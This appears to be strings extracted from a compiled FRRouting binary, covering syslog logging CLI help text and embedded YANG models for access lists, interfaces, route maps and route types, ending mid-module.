MESSAGE=could not open log file %pSE: %mcould not open or create log file %pSE: %mcould not connect to log unix path %pSE: %mcould not get remote address for log socket.  logging may break if log receiver restarts.failed to chown() log file %pSE: %mlogging socket %pSE closed by peer[origin enterpriseId="50145" software="FRRouting" swVersion="%s"] file="%s" line="%d" func="%s"PRIORITY=%d
SYSLOG_FACILITY=%d
TID=%jd
FRR_DAEMON=%s
SYSLOG_TIMESTAMP=CODE_FILE=%s
CODE_LINE=%d
CODE_FUNC=%s
zlog_5424=\z2Qmzlog_5424_reconnectzlog_5424_open destination syslog supports-rfc5424
%% Changes will be applied when exiting this config block
%% No extended syslog target named "%s"
  Inactive (no destination configured)
  logging to fd %d from environment variable %pSE
  log level: %s, facility: %s
  structured data is not supported by the selected format
  number of lost messages: %zu
  last error: %s (%lld.%06llds ago, currently %s)
log rotation on extended log target %s failed%% environment variable "%s" not present or invalid.
%% configuration will be saved but has no effect currently
%% file descriptor %d was not open when this process was started
%% Invalid permissions value "%s"
%% Could not look up user "%s" (%s), file owner will be left untouched!
%% Could not look up group "%s" (%s), file group will be left untouched!
%% Warning: ownership and permission bits are only applied when creating
%%          log files.  Use system tools to change existing files.
%%          FRR may also be missing necessary privileges to set these.
Negate a command or set its defaults
Timestamp options
Use local system time zone rather than UTC
[no] timestamp precision (0-9)Negate a command or set its defaults
Timestamp options
Number of sub-second digits to include
Number of sub-second digits to include
[no] structured-data <code-location|version|unique-id|error-category|format-args>$optionNegate a command or set its defaults
Select structured data (key/value pairs) to include in each message
FRR source code location
FRR version
Unique message identifier (XXXXX-XXXXX)
Error category (EC numeric)
Individual formatted log message arguments
[no] facility <kern|user|mail|daemon|auth|syslog|lpr|news|uucp|cron|local0|local1|local2|local3|local4|local5|local6|local7>$facilityargNegate a command or set its defaults
Set syslog facility to use
Kernel
User process
Mail system
System daemons
Authorization system
Syslog itself
Line printer system
USENET news
Unix-to-Unix copy system
Cron/at facility
Local use
Local use
Local use
Local use
Local use
Local use
Local use
Local use
[no] priority <emergencies|alerts|critical|errors|warnings|notifications|informational|debugging>$levelargNegate a command or set its defaults
Set minimum message priority to include for this target
System is unusable
Immediate action needed
Critical conditions
Error conditions
Warning conditions
Normal but significant conditions
Informational messages
Debugging messages
Negate a command or set its defaults
Log destination setup
Deconfigure destination
[no] destination <fd <(0-63)$fd|envvar WORD>|stdout$fd1|stderr$fd2>[format <rfc3164|rfc5424|local-syslogd|journald>$fmt]Negate a command or set its defaults
Log destination setup
Log to pre-opened file descriptor
File descriptor number (must be open at startup)
Read file descriptor number from environment variable
Environment variable name
Log to standard output
Log to standard error output
Select log message formatting
RFC3164 (legacy) syslog
RFC5424 (modern) syslog, supports structured data (default)
modified RFC3164 without hostname for local syslogd (/dev/log)
journald (systemd log) native format
[no] destination syslog [supports-rfc5424]$supp5424Negate a command or set its defaults
Log destination setup
Log directly to syslog
Use RFC5424 format (please refer to documentation)
log_5424_destination_syslog_cmdNegate a command or set its defaults
Log destination setup
Log directly to systemd's journald
log_5424_destination_journald_cmd[no] destination unix PATH [format <rfc3164|rfc5424|local-syslogd|journald>$fmt]Negate a command or set its defaults
Log destination setup
Log to unix socket
Unix socket path
Select log message formatting
RFC3164 (legacy) syslog
RFC5424 (modern) syslog, supports structured data (default)
modified RFC3164 without hostname for local syslogd (/dev/log)
journald (systemd log) native format
[no] destination fifo$type PATH [create$create [{owner WORD|group WORD|permissions PERMS}]|no-create$nocreate] [format <rfc3164|rfc5424|local-syslogd|journald>$fmt]Negate a command or set its defaults
Log destination setup
Log to filesystem FIFO
Path to destination
Create file if it does not exist
Set file owner
User name
Set file group
Group name
Set permissions
File permissions (octal)
Do not create file if it does not exist
Select log message formatting
RFC3164 (legacy) syslog
RFC5424 (modern) syslog, supports structured data (default)
modified RFC3164 without hostname for local syslogd (/dev/log)
journald (systemd log) native format
[no] destination file$type PATH [create$create [{user WORD|group WORD|mode PERMS}]|no-create$nocreate] [format <rfc3164|rfc5424|local-syslogd|journald>$fmt]Negate a command or set its defaults
Log destination setup
Log to file
Path to destination
Create file if it does not exist
Set file owner
User name
Set file group
Group name
Set permissions
File permissions (octal)
Do not create file if it does not exist
Select log message formatting
RFC3164 (legacy) syslog
RFC5424 (modern) syslog, supports structured data (default)
modified RFC3164 without hostname for local syslogd (/dev/log)
journald (systemd log) native format
no log extended-syslog EXTLOGNAMENegate a command or set its defaults
Logging control
Extended RFC5424 syslog (including file targets)
Name identifying this syslog target
log extended-syslog EXTLOGNAMELogging control
Extended RFC5424 syslog (including file targets)
Name identifying this syslog target
%% applying changes.
 format rfc3164 format journald format local-syslogdfifo format rfc5424log extended %s
 ! no destination configured
 destination fd envvar %s%s
 destination stdout%s
 destination stderr%s
 destination fd %d%s
 destination %s %s no-create create user %s group %s mode %04o destination unix %s%s
 destination syslog
 destination journald
 priority %s
 %sstructured-data %s
 timestamp precision %u
 no timestamp local-time
supp5424/dev/logextlognameoptionunix socket, OKerroring
Extended log target %pSQq
  logging to stdout
  logging to stderr
  logging to fd %d
  logging to %s: %pSE
  structured data: envvarfd1fd2fmtNo entry by this user nameNo entry by this group namepermsnocreatelog_5424_showlog_5424_early_initlog_5424_rotatelog_5424_finilib/zlog_5424_cli.ccfg->nameEXTLOGNAME%s(config-ext-log)# [no] timestamp local-timelog_5424_ts_local_cmdlog_5424_ts_locallog_5424_ts_prec_cmdlog_5424_ts_preclog_5424_meta_cmdlog_5424_metalog_5424_facility_cmdlog_5424_facilitylog_5424_prio_cmdlog_5424_prio[no] destination [none]log_5424_destination_none_cmdlog_5424_destination_nonelog_5424_destination_fd_cmdlog_5424_destination_fdlog_5424_destination_syslog[no] destination journaldlog_5424_destination_journaldlog_5424_destination_unix_cmdlog_5424_destination_unixlog_5424_destination_fifo_cmdlog_5424_destination_filelog_5424_destination_file_cmdno_log_5424_target_cmdno_log_5424_targetcode-locationformat-argsextended syslog config itemsextended syslog config|s~~|{{|OCC[|#|#T~T~log_5424_rotatelog_5424_cmd_inith%% could not open socket pair: %mzlog_live_openlib/zlog_live.clog vtysh live targetcritical: crashlog<%d>%.*s[%ld]: zlt_aux_initzlt_initzlt_finilib/zlog_targets.ciovpos == 0emergencies: alerts: errors: warnings: notifications: informational: debugging: syslog targetlog file rotate helperlog file namelog file targetlogging subsystemzlog_syslog_get_prio_minzlog_syslog_get_facilityzlog_file_set_fdzlog_file_set_filenamezlog_fd/d@@@@@`@PʿPPHZȾ̾PPPP@ LPP̾̾8^VVNVVV&VVVLV9VVVVVVVVXVVVV{VVdVVVQV:VV VVVVVVVVVVkVVHVVV{0123456789ABCDEF0123456789abcdef0000000000000000                /frr-routing:routing/control-plane-protocols/control-plane-protocol./vrflib/routing_nb_config.crouting_conf_event/frr-routing:routing/control-plane-protocols/control-plane-protocol[vrf='%s']routing_control_plane_protocols_control_plane_protocol_createBpsbit2019-07-04module frr-filter {
  yang-version 1.1;
  namespace "http://frrouting.org/yang/filter";
  prefix frr-filter;

  import ietf-inet-types {
    prefix inet;
  }
  import ietf-yang-types {
    prefix yang;
  }

  organization "FRRouting";
  contact
    "FRR Users List:       <mailto:frog@lists.frrouting.org>
     FRR Development List: <mailto:dev@lists.frrouting.org>";
  description
    "This module defines filter settings

     Copyright 2020 FRRouting

     Redistribution and use in source and binary forms, with or without
     modification, are permitted provided that the following conditions
     are met:

     1. Redistributions of source code must retain the above copyright notice,
     this list of conditions and the following disclaimer.

     2. Redistributions in binary form must reproduce the above copyright
     notice, this list of conditions and the following disclaimer in the
     documentation and/or other materials provided with the distribution.

     THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
     \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
     LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
     A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
     HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
     SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
     LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
     DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
     THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
     (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
     OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.";

  revision 2019-07-04 {
    description "Initial revision";
  }

  /*
   * Types.
   */
  typedef access-list-name {
    description "Access list name formatting";
    type string {
      length 1..128;
    }
  }

  typedef access-list-sequence {
    description "Access list sequence number";
    type uint32 {
      range "1..4294967295";
    }
  }

  typedef access-list-action {
    description "Access list return action on match";
    type enumeration {
      enum deny {
        description "Deny an entry";
        value 0;
      }
      enum permit {
        description "Accept an entry";
        value 1;
      }
    }
  }

  /*
   * Configuration data.
   */
  container lib {
    list access-list {
      description "Access list instance";

      key "type name";

      leaf type {
        description "Access list content type";
        type enumeration {
          enum ipv4 {
            description "Internet Protocol address version 4";
            value 0;
          }
          enum ipv6 {
            description "Internet Protocol address version 6";
            value 1;
          }
          enum mac {
            description "Media Access Control address";
            value 2;
          }
        }
      }

      leaf name {
        description "Access list name";
        type access-list-name;
      }

      leaf remark {
        description "Access list remark";
        type string;
      }

      list entry {
        description "Access list entry";

        key "sequence";

        leaf sequence {
          description "Access list sequence value";
          type access-list-sequence;
        }

        leaf action {
          description "Access list action on match";
          type access-list-action;
          mandatory true;
        }

        choice value {
          description "Access list value to match";
          mandatory true;

          case ipv4-prefix {
            when "../type = 'ipv4'";

            choice style {
              description "Access list entry style selection: zebra or cisco.";
              mandatory true;

              case zebra {
                leaf ipv4-prefix {
                  description "Configure IPv4 prefix to match";
                  type inet:ipv4-prefix;
                  mandatory true;
                }

                leaf ipv4-exact-match {
                  description "Exact match of prefix";
                  type boolean;
                  default false;
                }
              }
              case cisco {
                choice standard-value {
                  description "Source value to match";

                  leaf host {
                    description "Host to match";
                    type inet:ipv4-address;
                  }
                  container network {
                    leaf address {
                      mandatory true;
                      description "Network address part.";
                      type inet:ipv4-address;
                    }
                    leaf mask {
                      mandatory true;
                      description "Network mask/wildcard part.";
                      type inet:ipv4-address;
                    }
                  }
                  leaf source-any {
                    /*
                     * Was `any`, however it conflicts with `any` leaf
                     * outside this choice.
                     */
                    description "Match any";
                    type empty;
                  }
                }

                choice extended-value {
                  description "Destination value to match";

                  leaf destination-host {
                    description "Host to match";
                    type inet:ipv4-address;
                  }
                  container destination-network {
                    leaf address {
                      mandatory true;
                      description "Network address part.";
                      type inet:ipv4-address;
                    }
                    leaf mask {
                      mandatory true;
                      description "Network mask/wildcard part.";
                      type inet:ipv4-address;
                    }
                  }
                  leaf destination-any {
                    description "Match any";
                    type empty;
                  }
                }
              }
            }
          }
          case ipv6-prefix {
            when "../type = 'ipv6'";

            leaf ipv6-prefix {
              description "Configure IPv6 prefix to match";
              type inet:ipv6-prefix;
              mandatory true;
            }

            leaf ipv6-exact-match {
              description "Exact match of prefix";
              type boolean;
              default false;
            }
          }
          case mac {
            when "../type = 'mac'";

            leaf mac {
              description "Configure MAC address to match";
              type yang:mac-address;
            }
          }
          case any {
            leaf any {
              description "Match anything";
              type empty;
            }
          }
        }
      }
    }

    list prefix-list {
      description "Prefix list instance";

      key "type name";

      leaf type {
        description "Prefix list type";
        type enumeration {
          enum ipv4 {
            description "Internet Protocol address version 4";
            value 0;
          }
          enum ipv6 {
            description "Internet Protocol address version 6";
            value 1;
          }
        }
      }

      leaf name {
        description "Prefix list name";
        type access-list-name;
      }

      leaf remark {
        description "Prefix list user description";
        type string;
      }

      list entry {
        description "Prefix list entry";

        key "sequence";

        leaf sequence {
          description "Prefix list sequence value";
          type access-list-sequence;
        }

        leaf action {
          description "Prefix list action on match";
          type access-list-action;
          mandatory true;
        }

        choice value {
          description "Prefix list value to match";
          mandatory true;

          case ipv4-prefix {
            leaf ipv4-prefix {
              description "Configure IPv4 prefix to match";
              type inet:ipv4-prefix;
              mandatory true;
            }

            leaf ipv4-prefix-length-greater-or-equal {
              description
                "Specifies if matching prefixes with length greater than
                 or equal to value";
              type uint8 {
                range "0..32";
              }
            }

            leaf ipv4-prefix-length-lesser-or-equal {
              description
                "Specifies if matching prefixes with length lesser than
                 or equal to value";
              type uint8 {
                range "0..32";
              }
            }
          }
          case ipv6-prefix {
            leaf ipv6-prefix {
              description "Configure IPv6 prefix to match";
              type inet:ipv6-prefix;
              mandatory true;
            }

            leaf ipv6-prefix-length-greater-or-equal {
              description
                "Specifies if matching prefixes with length greater than
                 or equal to value";
              type uint8 {
                range "0..128";
              }
            }

            leaf ipv6-prefix-length-lesser-or-equal {
              description
                "Specifies if matching prefixes with length lesser than
                 or equal to value";
              type uint8 {
                range "0..128";
              }
            }
          }
          case any {
            leaf any {
              description "Match anything";
              type empty;
            }
          }
        }
      }
    }
  }
}
2020-02-05module frr-interface {
  yang-version 1.1;
  namespace "http://frrouting.org/yang/interface";
  prefix frr-interface;

  import frr-vrf {
    prefix frr-vrf;
  }

  import ietf-interfaces {
    prefix ietf-if;
  }

  import ietf-yang-types {
    prefix yang;
  }

  organization
    "FRRouting";
  contact
    "FRR Users List:       <mailto:frog@lists.frrouting.org>
     FRR Development List: <mailto:dev@lists.frrouting.org>";
  description
    "This module defines a model for managing FRR interfaces.

     Copyright 2020 FRRouting

     Redistribution and use in source and binary forms, with or without
     modification, are permitted provided that the following conditions
     are met:

     1. Redistributions of source code must retain the above copyright notice,
     this list of conditions and the following disclaimer.

     2. Redistributions in binary form must reproduce the above copyright
     notice, this list of conditions and the following disclaimer in the
     documentation and/or other materials provided with the distribution.

     THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
     \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
     LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
     A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
     HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
     SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
     LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
     DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
     THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
     (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
     OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.";

  revision 2020-02-05 {
    description
      "Added operational data";
  }
  revision 2019-09-09 {
    description
      "Added interface-ref typedef";
  }
  revision 2018-03-28 {
    description
      "Initial revision.";
  }

  identity other {
    base ietf-if:interface-type;
    description
      "Other type";
  }

  identity unknown {
    base ietf-if:interface-type;
    description
      "Unknown type";
  }

  identity ethernet {
    base ietf-if:interface-type;
    description
      "Ethernet type";
  }

  identity exper-ethernet {
    base ietf-if:interface-type;
    description
      "Experimental Ethernet type";
  }

  identity loopback {
    base ietf-if:interface-type;
    description
      "Loopback type";
  }

  identity pimreg {
    base ietf-if:interface-type;
    description
      "PIMSM Registration.";
  }

  identity ipip {
    base ietf-if:interface-type;
    description
      "IPIP Tunnel.";
  }

  identity ipip6 {
    base ietf-if:interface-type;
    description
      "IPIP6 Tunnel.";
  }

  identity ipgre {
    base ietf-if:interface-type;
    description
      "GRE over IP.";
  }

  typedef interface-ref {
    type leafref {
      path "/frr-interface:lib/frr-interface:interface/frr-interface:name";
      require-instance false;
    }
    description
      "Reference to an interface";
  }

  typedef if-flags-type {
    type enumeration {
      enum "up" {
        value 1;
        description
          "Active and ready to transfer packets.";
      }
      enum "broadcast" {
        value 2;
        description
          "Broadcast enabled.";
      }
      enum "debug" {
        value 3;
        description
          "Debug mode.";
      }
      enum "loopback" {
        value 4;
        description
          "Loopback interface.";
      }
      enum "point-to-point" {
        value 5;
        description
          "Point-to-Point link.";
      }
      enum "notrailers" {
        value 6;
        description
          "This flag is unused in Linux, but it exists for BSD compatibility.
          Avoid use of trailers";
      }
      enum "running" {
        value 7;
        description
          "Up and Running.";
      }
      enum "noarp" {
        value 8;
        description
          "Can't perform address resolution protocol.";
      }
      enum "promisc" {
        value 9;
        description
          "Promiscuous mode. Receive all packets.";
      }
      enum "allmulti" {
        value 10;
        description
          "Receive all multicast packets.";
      }
      enum "simplex" {
        value 11;
        description
          "Does not Rx or Tx at the sametime.";
      }
      enum "link0" {
        value 12;
        description
          "Link0.";
      }
      enum "link1" {
        value 13;
        description
          "Link1.";
      }
      enum "link2" {
        value 14;
        description
          "Link2.";
      }
      enum "multicast" {
        value 15;
        description
          "Supports multicast transmission.";
      }
      enum "notransmit" {
        value 16;
        description
          "Interface is no transmit mode.";
      }
      enum "nortexch" {
        value 17;
        description
          "No routing info exchange.";
      }
      enum "virtual" {
        value 18;
        description
          "Virtual interface.";
      }
      enum "ipv4" {
        value 19;
        description
          "IPv4 enabled.";
      }
      enum "ipv6" {
        value 20;
        description
          "IPv6 enabled.";
      }
    }
  }

  grouping if-common-operational {
    leaf if-index {
      type int32 {
        range "0..2147483647";
      }
      description
        "Interface index.";
    }

    leaf mtu {
      type uint16;
      description
        "The size of the largest IPV4 packet that the interface
         will send and receive.";
    }

    leaf mtu6 {
      type uint32;
      description
        "The size of the largest IPV6 packet that the interface
         will send and receive.";
    }

    leaf speed {
      type uint32;
      description
        "Interface speed.";
    }

    leaf metric {
      type uint32;
      description
        "Interface metric.";
    }

    leaf flags {
      type if-flags-type;
      description
        "Interface flags.";
    }

    leaf type {
      type identityref {
        base ietf-if:interface-type;
      }
      description
        "The link type of the interface.";
    }

    leaf phy-address {
      type yang:mac-address;
      description
        "The interface's MAC address.";
    }
  }

  container lib {
    list interface {
      key "name";
      description
        "Interface.";
      leaf name {
        type string;
        description
          "Interface name.";
      }

      leaf vrf {
        type frr-vrf:vrf-ref;
        description
          "VRF this interface is associated with.";
        config false;
      }

      leaf description {
        type string;
        description
          "Interface description.";
      }

      container state {
        config false;
        uses if-common-operational;
      }
    }
  }
}
2019-07-01module frr-route-map {
  yang-version 1.1;
  namespace "http://frrouting.org/yang/route-map";
  prefix frr-route-map;

  import ietf-inet-types {
    prefix inet;
  }

  import frr-filter {
    prefix filter;
  }

  import frr-interface {
    prefix frr-interface;
  }

  organization
    "FRRouting";
  contact
    "FRR Users List:       <mailto:frog@lists.frrouting.org>
     FRR Development List: <mailto:dev@lists.frrouting.org>";
  description
    "This module defines route map settings

     Copyright 2020 FRRouting

     Redistribution and use in source and binary forms, with or without
     modification, are permitted provided that the following conditions
     are met:

     1. Redistributions of source code must retain the above copyright notice,
     this list of conditions and the following disclaimer.

     2. Redistributions in binary form must reproduce the above copyright
     notice, this list of conditions and the following disclaimer in the
     documentation and/or other materials provided with the distribution.

     THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
     \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
     LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
     A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
     HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
     SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
     LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
     DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
     THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
     (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
     OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.";

  revision 2019-07-01 {
    description
      "Initial revision";
  }

  identity rmap-match-type {
    description
      "Base route-map match-condition";
  }

  identity interface {
    base rmap-match-type;
    description
      "Match interface";
  }

  identity ipv4-address-list {
    base rmap-match-type;
    description
      "Match an IPv4 access-list";
  }

  identity ipv4-prefix-list {
    base rmap-match-type;
    description
      "Match an IPv4 prefix-list";
  }

  identity ipv4-next-hop-list {
    base rmap-match-type;
    description
      "Match an IPv4 next-hop";
  }

  identity ipv4-next-hop-prefix-list {
    base rmap-match-type;
    description
      "Match an IPv4 next-hop prefix list";
  }

  identity ipv4-next-hop-type {
    base rmap-match-type;
    description
      "Match an IPv4 next-hop type";
  }

  identity ipv6-address-list {
    base rmap-match-type;
    description
      "Match an IPv6 access-list";
  }

  identity ipv6-prefix-list {
    base rmap-match-type;
    description
      "Match an IPv6 prefix-list";
  }

  identity ipv6-next-hop-list {
    base rmap-match-type;
    description
      "Match an IPv6 next-hop";
  }

  identity ipv6-next-hop-prefix-list {
    base rmap-match-type;
    description
      "Match an IPv6 next-hop prefix list";
  }

  identity ipv6-next-hop-type {
    base rmap-match-type;
    description
      "Match an IPv6 next-hop type";
  }

  identity match-metric {
    base rmap-match-type;
    description
      "Match a route metric";
  }

  identity match-tag {
    base rmap-match-type;
    description
      "Match a route tag";
  }

  identity rmap-set-type {
    description
      "Base route-map set-action";
  }

  identity ipv4-next-hop {
    base rmap-set-type;
    description
      "Set IPv4 address of the next hop";
  }

  identity ipv6-next-hop {
    base rmap-set-type;
    description
      "Set IPv6 address of the next hop";
  }

  identity set-metric {
    base rmap-set-type;
    description
      "Set prefix/route metric";
  }

  identity set-tag {
    base rmap-set-type;
    description
      "Set tag";
  }

  identity set-sr-te-color {
    base rmap-set-type;
    description
      "Set Color of the SR-TE";
  }

  typedef route-map-sequence {
    type uint16 {
      range "1..65535";
    }
    description
      "Route map valid sequence numbers";
  }

  typedef route-map-name {
    type string;
    description
      "Route map name format";
  }

  typedef route-map-ref {
    type leafref {
      path "/frr-route-map:lib/frr-route-map:route-map/frr-route-map:name";
      require-instance false;
    }
    description
      "Reference to a route-map.";
  }

  grouping rmap-match-condition {
    container rmap-match-condition {
      choice match-condition {
        description
          "Value to match (interpretation depends on condition type)";
        case interface {
          when "derived-from-or-self(../condition, 'interface')";
          leaf interface {
            type frr-interface:interface-ref;
          }
        }

        case list-name {
          when "derived-from-or-self(../condition, 'ipv4-address-list') or "
             + "derived-from-or-self(../condition, 'ipv4-prefix-list') or "
             + "derived-from-or-self(../condition, 'ipv4-next-hop-list') or "
             + "derived-from-or-self(../condition, 'ipv4-next-hop-prefix-list') or "
             + "derived-from-or-self(../condition, 'ipv6-address-list') or "
             + "derived-from-or-self(../condition, 'ipv6-next-hop-list') or "
             + "derived-from-or-self(../condition, 'ipv6-next-hop-prefix-list') or "
             + "derived-from-or-self(../condition, 'ipv6-prefix-list')";
          leaf list-name {
            type filter:access-list-name;
          }
        }

        case ipv4-next-hop-type {
          when "derived-from-or-self(../condition, 'ipv4-next-hop-type')";
          leaf ipv4-next-hop-type {
            type enumeration {
              enum "blackhole" {
                value 0;
              }
            }
          }
        }

        case ipv6-next-hop-type {
          when "derived-from-or-self(../condition, 'ipv6-next-hop-type')";
          leaf ipv6-next-hop-type {
            type enumeration {
              enum "blackhole" {
                value 0;
              }
            }
          }
        }

        case match-metric {
          when "derived-from-or-self(../condition, 'match-metric')";
          leaf metric {
            type uint32 {
              range "1..4294967295";
            }
          }
        }

        case match-tag {
          when "derived-from-or-self(../condition, 'match-tag')";
          leaf tag {
            type uint32 {
              range "1..4294967295";
            }
          }
        }
      }
    }
  }

  grouping rmap-set-action {
    container rmap-set-action {
      choice set-action {
        description
          "Value to set (interpretation depends on action-type)";
        case ipv4-address {
          when "derived-from-or-self(../action, 'ipv4-next-hop')";
          leaf ipv4-address {
            type inet:ipv4-address;
            description
              "IPv4 address";
          }
        }

        case ipv6-address {
          when "derived-from-or-self(../action, 'ipv6-next-hop')";
          leaf ipv6-address {
            type inet:ipv6-address;
            description
              "IPv6 address";
          }
        }

        case set-metric {
          when "derived-from-or-self(../action, 'set-metric')";
          choice metric-value {
            description
              "Metric to set or use";
            case value {
              leaf value {
                type uint32 {
                  range "0..4294967295";
                }
                description
                  "Use the following metric value";
              }
            }

            case add-metric {
              leaf add-metric {
                description "Add value to metric.";
                type uint32 {
                  range "0..4294967295";
                }
              }
            }

            case subtract-metric {
              leaf subtract-metric {
                description "Subtract value from metric.";
                type uint32 {
                  range "0..4294967295";
                }
              }
            }

            case use-round-trip-time {
              leaf use-round-trip-time {
                type boolean;
                description
                  "Use the round trip time as metric";
              }
            }

            case add-round-trip-time {
              leaf add-round-trip-time {
                type boolean;
                description
                  "Add round trip time to metric";
              }
            }

            case subtract-round-trip-time {
              leaf subtract-round-trip-time {
                type boolean;
                description
                  "Subtract round trip time to metric";
              }
            }
          }
        }

        case set-tag {
          when "derived-from-or-self(../action, 'set-tag')";
          leaf tag {
            type uint32 {
              range "0..4294967295";
            }
            description
              "Tag value";
          }
        }

        case set-sr-te-color {
          when "derived-from-or-self(../action, 'set-sr-te-color')";
          leaf policy {
            type string;
            description
              "Color of the SR-TE Policies to match with";
          }
        }
      }
    }
  }

  container lib {
    list route-map {
      key "name";
      description
        "Route map instance";
      leaf name {
        type route-map-name;
        description
          "Route map instance name";
      }
      leaf optimization-disabled {
        type boolean;
        default false;
        description "Disables or enables the optimization";
      }

      list entry {
        key "sequence";
        description
          "Route map entry";
        leaf sequence {
          type route-map-sequence;
          description
            "Route map instance priority (low number means higher priority)";
        }

        leaf description {
          type string;
          description
            "Route map description";
        }

        leaf action {
          type enumeration {
            enum "permit" {
              value 0;
              description
                "Executes configured action and permits the prefix/route
                 if the conditions matched. An alternative exit action can
                 be configured to continue processing the route map list
                 or jump to process another route map.";
            }
            enum "deny" {
              value 1;
              description
                "If all conditions are met the prefix/route is denied and
                 route map processing stops.";
            }
          }
          mandatory true;
          description
            "Route map actions: permit (executes action), deny (quits evaluation)";
        }

        leaf call {
          type route-map-name;
          description
            "Call another route map before calling `exit-policy`. If the
             called route map returns deny then this route map will also
             return deny";
        }

        leaf exit-policy {
          type enumeration {
            enum "permit-or-deny" {
              value 0;
              description
                "End route map evaluation and return";
            }
            enum "next" {
              value 1;
              description
                "Proceed evaluating next route map entry per sequence";
            }
            enum "goto" {
              value 2;
              description
                "Go to route map entry with the provided sequence number";
            }
          }
          default "permit-or-deny";
          description
            "What do to after route map successful match, set and call";
        }

        leaf goto-value {
          when "../exit-policy = 'goto'";
          type route-map-sequence;
          mandatory true;
          description
            "Sequence number to jump (when using `goto` exit policy)";
        }

        list match-condition {
          key "condition";
          description
            "Route map match conditions";
          leaf condition {
            type identityref {
              base rmap-match-type;
            }
            description
              "Match condition";
          }

          uses rmap-match-condition;
        }

        list set-action {
          key "action";
          description
            "Route map set actions";
          leaf action {
            type identityref {
              base rmap-set-type;
            }
            description
              "Action to do when the route map matches";
          }

          uses rmap-set-action;
        }
      }
    }
  }
}
frr-route-types2018-03-28module frr-route-types {
  yang-version 1.1;
  namespace "http://frrouting.org/yang/route-types";
  prefix frr-route-types;

  import ietf-inet-types {
    prefix inet;
  }

  organization
    "FRRouting";
  contact
    "FRR Users List:       <mailto:frog@lists.frrouting.org>
     FRR Development List: <mailto:dev@lists.frrouting.org>";
  description
    "This module defines typedefs for route types.

     Copyright 2020 FRRouting

     Redistribution and use in source and binary forms, with or without
     modification, are permitted provided that the following conditions
     are met:

     1. Redistributions of source code must retain the above copyright notice,
     this list of conditions and the following disclaimer.

     2. Redistributions in binary form must reproduce the above copyright
     notice, this list of conditions and the following disclaimer in the
     documentation and/or other materials provided with the distribution.

     THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
     \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
     LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
     A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
     HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
     SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
     LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
     DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
     THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
     (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
     OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.";

  revision 2018-03-28 {
    description
      "Initial revision.";
  }

  typedef frr-route-types-v4 {
    type enumeration {
      enum kernel {
        value 1;
      }
      enum connected {
        value 2;
      }
      enum static {
        value 3;
      }
      enum rip {
        value 4;
      }
      enum ospf {
        value 6;
      }
      enum isis {
        value 8;
      }
      enum bgp {
        value 9;
      }
      enum eigrp {
        value 11;
      }
      enum nhrp {
        value 12;
      }
      enum table {
        value 15;
      }
      enum vnc {
        value 17;
      }
      enum vnc-direct {
        value 18;
      }
      enum babel {
        value 22;
      }
      enum sharp {
        value 23;
      }
